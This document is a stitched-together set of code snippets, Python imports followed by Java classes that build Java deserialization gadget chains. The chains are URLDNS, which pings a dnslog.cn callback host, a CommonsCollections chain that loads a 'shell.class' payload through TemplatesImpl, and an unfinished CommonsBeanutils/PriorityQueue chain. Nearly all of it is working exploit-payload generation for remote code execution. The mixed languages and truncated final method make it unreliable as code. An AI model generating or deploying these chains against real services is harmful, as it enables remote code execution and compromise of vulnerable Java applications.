from email.mime import base from pydoc import plain import sys import base64 from turtle import mode import uuid from random import Random from Crypto.Cipher import AES
def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data
public class URLDNS { public static void main(String[] args) throws Exception { HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>(); URL url = new URL("http://487zx4.dnslog.cn"); Class c = url.getClass();
Field f = c.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 1); hashmap.put(url,1); f.set(url,-1); serilize(hashmap);
} public static void serilize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser2.bin")); objectOutputStream.writeObject(object); } public static Object deserilize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); } }
public class cc11 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class aClass = templates.getClass(); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "cc2"); byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] b1 = {b}; Field b2 = aClass.getDeclaredField("_bytecodes"); b2.setAccessible(true); b2.set(templates, b1);
Field f = aClass.getDeclaredField("_tfactory"); f.setAccessible(true); f.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> hashMap1 = new HashMap<>(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry, "eee"); lazyMap.remove(templates);
Class clazz = LazyMap.class; Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, invokerTransformer); serialize(hashMap2); // unserialize("ser.bin"); } public static void serialize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); }
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class")); byte[][] b1 = {b};
Class aClass = templates.getClass(); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, b1);
Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa");
Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
// templates.getOutputProperties();
// PropertyUtils propertyUtils = new PropertyUtils(); // propertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator();
// beanComparator.compare(templates,templates);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class aClass1 = beanComparator.getClass(); Field property = aClass1.getDeclaredField("property"); property.setAccessible(true); property.set(beanComparator,"outputProperties");
Class aClass2 = priorityQueue.getClass(); // Field priority = aClass2.getDeclaredField("comparator"); // priority.setAccessible(true); // priority.set(priorityQueue,beanComparator);
Field queueField = aClass2.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue);